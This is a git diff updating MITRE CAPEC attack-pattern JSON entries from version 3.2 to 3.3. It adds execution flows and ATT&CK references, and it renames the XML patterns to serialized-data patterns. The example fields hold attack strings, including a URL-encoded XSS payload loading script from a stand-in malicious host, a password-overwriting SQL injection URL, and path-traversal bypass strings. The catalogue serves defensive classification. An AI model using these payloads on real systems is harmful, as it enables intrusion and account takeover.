", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "An additional HTTP entity such as an application firewall or a web caching proxy between the attacker and the second entity such as a web server", @@ -73,7 +69,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415.json b/capec/attack-pattern/attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415.json index 148cb732d9..d135843540 100644 --- a/capec/attack-pattern/attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415.json +++ b/capec/attack-pattern/attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3622c119-a7a5-4019-ad93-d4f364c447ae", + "id": "bundle--db971cb3-dc52-4350-96ec-187d21ad0b65", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--d859e461-7ca6-46a6-842e-3f1750bc8415", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "URL Encoding", "description": "This attack targets the encoding of the URL. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. The attacker could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an attacker may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section).", "external_references": [ @@ -125,9 +125,10 @@ }, "x_capec_example_instances": [ "\n Attack Example: URL Encodings in IceCast MP3 Server.\n The following type of encoded string has been known traverse directories against the IceCast MP3 server9:\n http://[targethost]:8000/somefile/%2E%2E/target.mp3\n or using\n \"/%25%25/\" instead of \"/../\".\n The control character \"..\" can be used by an attacker to escape the document root.See also: CVE-2001-0784", - "\n Cross-Site Scripting\n \n URL-Encoded attack:http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e\n \n HTML execution:\n [R.72.3][REF-35]\n ", + "\n Cross-Site Scripting\n \n URL-Encoded attack:http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e\n \n HTML execution:\n [REF-495]\n ", "\n SQL Injection\n \n Original database query in the example file - \"login.asp\":SQLQuery = \"SELECT preferences FROM logintable WHERE userid='\" & Request.QueryString(\"userid\") & \"' AND password='\" & Request.QueryString(\"password\") & \"';\"\n \n URL-encoded attack:http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00\n \n Executed database query:SELECT preferences FROM logintable WHERE userid='bob'; update logintable set password='0wn3d';\n From \"URL encoded attacks\", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker accesses the server using a specific URL.

Experiment

  1. The attacker tries to encode some special characters in the URL. The attacker finds out that some characters are not filtered properly.

Exploit

  1. The attacker crafts a malicious URL string request and sends it to the server.

  2. The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters may have harmful consequences.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The application should accepts and decodes URL input.", @@ -139,7 +140,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d8a0c0f1-dc07-49d4-9d4a-e96e526a4c69.json b/capec/attack-pattern/attack-pattern--d8a0c0f1-dc07-49d4-9d4a-e96e526a4c69.json index a327b3ce8d..e56be9f9b9 100644 --- a/capec/attack-pattern/attack-pattern--d8a0c0f1-dc07-49d4-9d4a-e96e526a4c69.json +++ b/capec/attack-pattern/attack-pattern--d8a0c0f1-dc07-49d4-9d4a-e96e526a4c69.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--76ec4ed8-7c52-446a-a950-df94f61b6714", + "id": "bundle--9aa129bf-63e1-4adc-adef-f8799419b7bf", "spec_version": "2.0", "objects": [ { @@ -48,7 +48,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d900a0ea-7dd6-4ed8-a1bf-ac498e68d9e5.json b/capec/attack-pattern/attack-pattern--d900a0ea-7dd6-4ed8-a1bf-ac498e68d9e5.json index d0de6392f8..6a351ce201 100644 --- a/capec/attack-pattern/attack-pattern--d900a0ea-7dd6-4ed8-a1bf-ac498e68d9e5.json +++ b/capec/attack-pattern/attack-pattern--d900a0ea-7dd6-4ed8-a1bf-ac498e68d9e5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--729d3b8e-de15-46fd-a5dd-ab81c3fb3cbc", + "id": "bundle--0826848b-05b4-4d23-bfb3-b709cb0dc44a", "spec_version": "2.0", "objects": [ { @@ -32,7 +32,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d9069913-2a5f-4ad5-878e-73181f0b1067.json b/capec/attack-pattern/attack-pattern--d9069913-2a5f-4ad5-878e-73181f0b1067.json index 4e1541b712..1b0f9ccd54 100644 --- a/capec/attack-pattern/attack-pattern--d9069913-2a5f-4ad5-878e-73181f0b1067.json +++ b/capec/attack-pattern/attack-pattern--d9069913-2a5f-4ad5-878e-73181f0b1067.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--09a1dd48-b430-4993-8b0d-6ef0d0b36293", + "id": "bundle--e4879f72-3253-49e7-92a4-b485d6cf505a", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--d9069913-2a5f-4ad5-878e-73181f0b1067", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Replace Trusted Executable", "description": "An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Event Triggered Execution:Accessibility Features", + "url": "https://attack.mitre.org/wiki/Technique/T1546/008", + "external_id": "T1546.008" } ], "object_marking_refs": [ @@ -33,7 +39,7 @@ "x_capec_likelihood_of_attack": "Low", "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d946bee3-57a8-4f1b-9c58-1c537519618c.json b/capec/attack-pattern/attack-pattern--d946bee3-57a8-4f1b-9c58-1c537519618c.json index 84e63db3b2..fe478d332f 100644 --- a/capec/attack-pattern/attack-pattern--d946bee3-57a8-4f1b-9c58-1c537519618c.json +++ b/capec/attack-pattern/attack-pattern--d946bee3-57a8-4f1b-9c58-1c537519618c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--49f05111-02b4-43e7-b62a-95fd034ef219", + "id": "bundle--cfdf6a82-a3f0-4a86-8eef-17f182e389f2", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d94762c1-3c78-47eb-8212-e0c770ba43a9.json b/capec/attack-pattern/attack-pattern--d94762c1-3c78-47eb-8212-e0c770ba43a9.json index 672318aa10..1f3523dd9b 100644 --- a/capec/attack-pattern/attack-pattern--d94762c1-3c78-47eb-8212-e0c770ba43a9.json +++ b/capec/attack-pattern/attack-pattern--d94762c1-3c78-47eb-8212-e0c770ba43a9.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6257a2b7-8520-4171-9689-3da1be75de98", + "id": "bundle--aabc4283-118f-4b1a-ac42-7a33932f825a", "spec_version": "2.0", "objects": [ { @@ -57,7 +57,7 @@ "High": "Technical understanding of how signature verification algorithms work with data and applications" }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d9629af2-d5c2-4198-b80f-281cc7d04422.json b/capec/attack-pattern/attack-pattern--d9629af2-d5c2-4198-b80f-281cc7d04422.json index e7af5dfb99..79c2b65b26 100644 --- a/capec/attack-pattern/attack-pattern--d9629af2-d5c2-4198-b80f-281cc7d04422.json +++ b/capec/attack-pattern/attack-pattern--d9629af2-d5c2-4198-b80f-281cc7d04422.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bcf40b43-d036-40fd-b068-4d54e2625141", + "id": "bundle--9158ff9c-6868-4fc7-9a11-c141945a4c04", "spec_version": "2.0", "objects": [ { @@ -69,7 +69,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d9717514-c621-49cd-b8e1-fd7cc1daa8d1.json b/capec/attack-pattern/attack-pattern--d9717514-c621-49cd-b8e1-fd7cc1daa8d1.json index 88f7598858..6d35774dfc 100644 --- a/capec/attack-pattern/attack-pattern--d9717514-c621-49cd-b8e1-fd7cc1daa8d1.json +++ b/capec/attack-pattern/attack-pattern--d9717514-c621-49cd-b8e1-fd7cc1daa8d1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--513d6c5e-b25c-48da-82c4-19cff0dc857f", + "id": "bundle--ec2a8650-69a4-48d3-9285-c7c82511aacc", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--d9717514-c621-49cd-b8e1-fd7cc1daa8d1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "name": "XML Entity Linking", - "description": "An attacker creates an XML document that contains an external entity reference. External entity references can take the form of tags in a DTD. Because processors may not validate documents with external entities, there may be no checks on the nature of the reference in the external entity. This can allow an attacker to open arbitrary files or connections.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Serialized Data External Linking", + "description": "An attacker creates a serialized data file (e.g. XML, YAML, etc...) that contains an external entity reference. Because serialized data parsers may not validate documents with external references, there may be no checks on the nature of the reference in the external entity. This can allow an attacker to open arbitrary files or connections.", "external_references": [ { "source_name": "capec", @@ -42,6 +42,7 @@ "x_capec_example_instances": [ "\n The following DTD would attempt to open the /dev/tty device:\n ]>\n A malicious actor could use this crafted DTD to reveal sensitive information.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services that process requests with serialized data.

    2. Techniques
    Use an automated tool to record all instances of URLs that process requests with serialized data.
    Use a browser to manually explore the website and analyze how the application processes serialized data requests.

Exploit

  1. Launch an External Entity Linking attack: The attacker crafts malicious data message that contains references to sensitive files.

    2. Techniques
    Send the malicious crafted message containing the reference to a sensitive file to the target URL.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target must follow external entity references without validating the validity of the reference target." @@ -50,11 +51,11 @@ "None: No specialized resources are required to execute this type of attack." ], "x_capec_skills_required": { - "Low": "To send XML messages with maliciously crafted DTDs." + "Low": "To send serialized data messages with maliciously crafted schema." }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d9904019-98fa-4beb-ae5a-f667e516269e.json b/capec/attack-pattern/attack-pattern--d9904019-98fa-4beb-ae5a-f667e516269e.json index 91f73eed2f..cf8bb3a3e1 100644 --- a/capec/attack-pattern/attack-pattern--d9904019-98fa-4beb-ae5a-f667e516269e.json +++ b/capec/attack-pattern/attack-pattern--d9904019-98fa-4beb-ae5a-f667e516269e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--baa74e80-f5a6-4511-a630-dc1950a8c32d", + "id": "bundle--748938f1-b6fc-4743-a665-b1e9f4d6f561", "spec_version": "2.0", "objects": [ { @@ -47,6 +47,7 @@ "x_capec_example_instances": [ "A certain B2B interface on a large application codes for messages passed over an MQSeries queue, on a single \"Partners\" channel. Messages on that channel code for their client destination based on a partner_ID field, held by each message. That field is a simple integer. Attackers having access to that channel, perhaps a particularly nosey partner, can simply choose to store messages of another partner's ID and read them as they desire. Note that authentication does not prevent a partner from leveraging this attack on other partners. It simply disallows Attackers without partner status from conducting this attack." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine the nature of messages being transported as well as the identifiers to be used as part of the attack

Experiment

  1. If required, authenticate to the distribution channel

  2. If any particular client's information is available through the transport means simply by selecting a particular identifier, an attacker can simply provide that particular identifier.

  3. Attackers with client access connecting to output channels could change their channel identifier and see someone else's (perhaps more privileged) data.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Information and client-sensitive (and client-specific) data must be present through a distribution channel available to all users.", @@ -60,7 +61,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861.json b/capec/attack-pattern/attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861.json index c3577289af..dd7212bcec 100644 --- a/capec/attack-pattern/attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861.json +++ b/capec/attack-pattern/attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3fe17749-b019-46b6-a755-02dc0c3434ee", + "id": "bundle--f71a1dad-f9a3-485e-98ef-cb810df76531", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", - "name": "XML Attribute Blowup", - "description": "This attack exploits certain XML parsers which manage data in an inefficient manner. The attacker crafts an XML document with many attributes in the same XML node. In a vulnerable parser, this results in a denial of service condition owhere CPU resources are exhausted because of the parsing algorithm.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Serialized Data Parameter Blowup", + "description": "This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.", "external_references": [ { "source_name": "capec", @@ -28,15 +28,17 @@ ], "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "\n In this example, assume that the victim is running a vulnerable parser such as .NET framework 1.0. This results in a quadratic runtime of O(n^2).\n \n A document with n attributes results in (n^2)/2 operations to be performed. If an operation takes 100 nanoseconds then a document with 100,000 operations would take 500s to process. In this fashion a small message of less than 1MB causes a denial of service condition on the CPU resources.\n " + "\n In this example, assume that the victim is running a vulnerable parser such as .NET framework 1.0. This results in a quadratic runtime of O(n^2).\n \n A document with n attributes results in (n^2)/2 operations to be performed. If an operation takes 100 nanoseconds then a document with 100,000 operations would take 500s to process. In this fashion a small message of less than 1MB causes a denial of service condition on the CPU resources.\n ", + "\n A YAML bomb leverages references within a YAML file to create exponential growth in memory requirements. By creating a chain of keys whose values are a list of multiple references to the next key in the chain, the amount of memory and processing required to handle the data grows exponentially. This may lead to denial of service or instability resulting from excessive resource consumption.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services to process requests using serialized data.

    2. Techniques
    Use an automated tool to record all instances of URLs to process requests from serialized data.
    Use a browser to manually explore the website and analyze how the application processes requests using serialized data.

Exploit

  1. Launch a Blowup attack: The attacker crafts malicious messages that contain multiple configuration parameters in the same dataset.

    2. Techniques
    Send the malicious crafted message containing the multiple configuration parameters to the target URL, causing a denial of service.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ - "The server accepts XML input and is using a parser with a runtime longer than O(n) for the insertion of a new attribute in the data container.(examples are .NET framework 1.0 and 1.1)" + "The server accepts input in the form of serialized data and is using a parser with a runtime longer than O(n) for the insertion of a new configuration parameter in the data container.(examples are .NET framework 1.0 and 1.1)" ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--dbe3513a-5527-4aaf-a463-ead5eae2967f.json b/capec/attack-pattern/attack-pattern--dbe3513a-5527-4aaf-a463-ead5eae2967f.json index 8fa30717ad..d4d1c012f0 100644 --- a/capec/attack-pattern/attack-pattern--dbe3513a-5527-4aaf-a463-ead5eae2967f.json +++ b/capec/attack-pattern/attack-pattern--dbe3513a-5527-4aaf-a463-ead5eae2967f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e46a2664-f25d-4c0c-8ad9-9f5b017ea884", + "id": "bundle--ebd67775-ff3c-4c62-b5ef-ed26be6a14f2", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--dbe3513a-5527-4aaf-a463-ead5eae2967f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Using Leading 'Ghost' Character Sequences to Bypass Input Filters", "description": "Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading \"ghost\" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.", "external_references": [ @@ -109,6 +109,7 @@ "x_capec_example_instances": [ "\n Alternate Encoding with Ghost Characters in FTP and Web Servers\n Some web and FTP servers fail to detect prohibited upward directory traversals if the user-supplied pathname contains extra characters such as an extra leading dot. For example, a program that will disallow access to the pathname \"../test.txt\" may erroneously allow access to that file if the pathname is specified as \".../test.txt\". This attack succeeds because 1) the input validation logic fails to detect the triple-dot as a directory traversal attempt (since it isn't dot-dot), 2) some part of the input processing decided to strip off the \"extra\" dot, leaving the dot-dot behind.\n Using the file system API as the target, the following strings are all equivalent to many programs:\n .../../../test.txt............/../../test.txt..?/../../test.txt..????????/../../test.txt../test.txt\n As you can see, there are many ways to make a semantically equivalent request. All these strings ultimately result in a request for the file ../test.txt.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine if the source code is available and if so, examine the filter logic.

Experiment

  1. If the source code is not available, write a small program that loops through various possible inputs to given API call and tries a variety of alternate (but equivalent) encodings of strings with leading ghost characters. Knowledge of frameworks and libraries used and what filters they apply will help to make this search more structured.

  2. Observe the effects. See if the probes are getting past the filters. Identify a string that is semantically equivalent to that which an adversary wants to pass to the targeted API, but syntactically structured in a way as to get past the input filter. That encoding will contain certain ghost characters that will help it get past the filters. These ghost characters will be ignored by the targeted API.

Exploit

  1. Once the \"winning\" alternate encoding using (typically leading) ghost characters is identified, an adversary can launch the attacks against the targeted API (e.g. directory traversal attack, arbitrary shell command execution, corruption of files)

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The targeted API must ignore the leading ghost characters that are used to get past the filters for the semantics to be the same." @@ -118,7 +119,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--dc05cb9b-00ae-4fd0-8743-b1fb507ea1d3.json b/capec/attack-pattern/attack-pattern--dc05cb9b-00ae-4fd0-8743-b1fb507ea1d3.json index 331d6effd0..e630963874 100644 --- a/capec/attack-pattern/attack-pattern--dc05cb9b-00ae-4fd0-8743-b1fb507ea1d3.json +++ b/capec/attack-pattern/attack-pattern--dc05cb9b-00ae-4fd0-8743-b1fb507ea1d3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9ac482ee-14fe-4cee-9ac1-1adad2ab2ba2", + "id": "bundle--8ddb70c2-929e-43c9-b611-6e4ace5e1526", "spec_version": "2.0", "objects": [ { @@ -34,7 +34,7 @@ "x_capec_likelihood_of_attack": "Medium", "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--dcf12181-3652-40c9-bb64-b09d367d2fb1.json b/capec/attack-pattern/attack-pattern--dcf12181-3652-40c9-bb64-b09d367d2fb1.json index 8f5fcea129..d4d33ceaaf 100644 --- a/capec/attack-pattern/attack-pattern--dcf12181-3652-40c9-bb64-b09d367d2fb1.json +++ b/capec/attack-pattern/attack-pattern--dcf12181-3652-40c9-bb64-b09d367d2fb1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--10053e0b-039d-4481-901b-e8d027adfea5", + "id": "bundle--6a709192-4d68-4cc5-8c1c-81ddef98e237", "spec_version": "2.0", "objects": [ { @@ -37,7 +37,7 @@ "This type of an attack requires the ability to identify hosts running a poorly implemented Regex, and the ability to send crafted input to exploit the regular expression." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--debee1d7-930b-4daa-90e0-850d41c80cbd.json b/capec/attack-pattern/attack-pattern--debee1d7-930b-4daa-90e0-850d41c80cbd.json index ae680b58ca..c301660f3c 100644 --- a/capec/attack-pattern/attack-pattern--debee1d7-930b-4daa-90e0-850d41c80cbd.json +++ b/capec/attack-pattern/attack-pattern--debee1d7-930b-4daa-90e0-850d41c80cbd.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--37f49641-ac05-4dda-a907-53bd5d3c68fe", + "id": "bundle--f078f790-b862-4f35-bd66-6c9ec46a4506", "spec_version": "2.0", "objects": [ { @@ -26,7 +26,7 @@ "This type of attack requires the existence of a physical target that an adversary believes hosts something of value." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--dfd75d4a-689b-4cbd-9013-4ed32713dc64.json b/capec/attack-pattern/attack-pattern--dfd75d4a-689b-4cbd-9013-4ed32713dc64.json index c435bd2526..6cac3250a7 100644 --- a/capec/attack-pattern/attack-pattern--dfd75d4a-689b-4cbd-9013-4ed32713dc64.json +++ b/capec/attack-pattern/attack-pattern--dfd75d4a-689b-4cbd-9013-4ed32713dc64.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--199cc189-0679-4206-9f3b-cbe55436196d", + "id": "bundle--d8834ea0-588f-4331-b73f-1d6838b97a0a", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ "An On/In Path Device" ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e02f436a-486e-409a-adc6-a058c531f05f.json b/capec/attack-pattern/attack-pattern--e02f436a-486e-409a-adc6-a058c531f05f.json index 15a017a760..81eb36f843 100644 --- a/capec/attack-pattern/attack-pattern--e02f436a-486e-409a-adc6-a058c531f05f.json +++ b/capec/attack-pattern/attack-pattern--e02f436a-486e-409a-adc6-a058c531f05f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--662cf349-4ec1-4386-bda4-e64eb0321a11", + "id": "bundle--e550ff08-cba7-4e89-873e-2fb649388798", "spec_version": "2.0", "objects": [ { @@ -69,7 +69,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e171fd74-3ea6-4ad5-b0ff-71bb311c8024.json b/capec/attack-pattern/attack-pattern--e171fd74-3ea6-4ad5-b0ff-71bb311c8024.json index 5a43beac89..dd020cd270 100644 --- a/capec/attack-pattern/attack-pattern--e171fd74-3ea6-4ad5-b0ff-71bb311c8024.json +++ b/capec/attack-pattern/attack-pattern--e171fd74-3ea6-4ad5-b0ff-71bb311c8024.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2478c783-7d52-49da-81de-ff4cd6f72111", + "id": "bundle--e77c6085-9dfa-475a-9bda-0b17a6602fc0", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--e171fd74-3ea6-4ad5-b0ff-71bb311c8024", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Excessive Allocation", "description": "An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.", "external_references": [ @@ -26,6 +26,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/404.html", "external_id": "CWE-404" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/003", + "external_id": "T1499.003" } ], "object_marking_refs": [ @@ -49,7 +55,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e244a53a-8c69-462c-8ff2-900a839d48cb.json b/capec/attack-pattern/attack-pattern--e244a53a-8c69-462c-8ff2-900a839d48cb.json index 132b68151c..3a0b75c2ff 100644 --- a/capec/attack-pattern/attack-pattern--e244a53a-8c69-462c-8ff2-900a839d48cb.json +++ b/capec/attack-pattern/attack-pattern--e244a53a-8c69-462c-8ff2-900a839d48cb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fd6d7289-8aad-41c9-b3f5-103ee29cc4b4", + "id": "bundle--5ce40ece-8011-4d92-ad30-0ea59907e85d", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--e244a53a-8c69-462c-8ff2-900a839d48cb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cache Poisoning", "description": "An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.", "external_references": [ @@ -68,6 +68,7 @@ "x_capec_example_instances": [ "\n DNS cache poisoning example\n In this example, an attacker sends request to a local DNS server to look up www.example .com. The associated IP address of www.example.com is 1.3.5.7.\n Local DNS usually caches IP addresses and do not go to remote DNS every time. Since the local record is not found, DNS server tries to connect to remote DNS for queries. However, before the remote DNS returns the right IP address 1.3.5.7, the attacker floods local DNS with crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious website www.maliciousexampsle.com\n When users connect to www.example.com, the local DNS will direct it to www.maliciousexample.com, this works as part of a Pharming attack.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify and explore caches: Use tools to sniff traffic and scan a network in order to locate application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache) that may have vulnerabilities. Look for poisoning point in cache table entries.

    2. Techniques
    Run tools that check available entries in the cache.

Experiment

  1. Cause specific data to be cached: An attacker sends bogus request to the target, and then floods responses that trick a cache to remember malicious responses, which are wrong answers of queries.

    2. Techniques
    Intercept or modify a query, or send a bogus query with known credentials (such as transaction ID).

Exploit

